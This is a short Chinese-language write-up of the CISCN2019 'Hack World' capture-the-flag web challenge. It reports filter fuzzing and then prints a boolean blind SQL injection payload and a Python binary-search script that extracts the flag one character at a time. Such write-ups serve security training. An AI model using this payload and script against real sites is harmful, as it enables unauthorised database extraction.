[CISCN2019 华北赛区 Day2 Web1]Hack World
[CISCN2019 华北赛区 Day2 Web1]Hack World
解
先fuzz一下

查下来发现union、updatexml等都被过滤了,联合注入、报错注入没了,长度为472的是没被过滤的,发现select、from、^等等都还能用,考虑布尔盲注。
试试 id = 0^(ascii(substr((select(flag)from(flag)),1,1))<99),是可以盲注的。
接下来写脚本
def dumpTable():#脱裤
global host
ans=''
for i in range(1,10000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
payload = "0^(ascii(substr((select(flag)from(flag)),%d,1))<%d)" % (i,mid)
param = {'id':payload}
res = requests.post(host,data=param)
time.sleep(0.05)
if "Error" in res.text:
low = mid+1
else:
high = mid
mid=(low+high)//2
if mid <= 32 or mid >= 127:
break
ans += chr(mid-1)
print("dumpTable is -> "+ans)
注意请求太快网页可能响应不过来,所以设置 time.sleep(0.05)。
最后成功得到flag

总的来说不是很难,就是需要积累。

浙公网安备 33010602011771号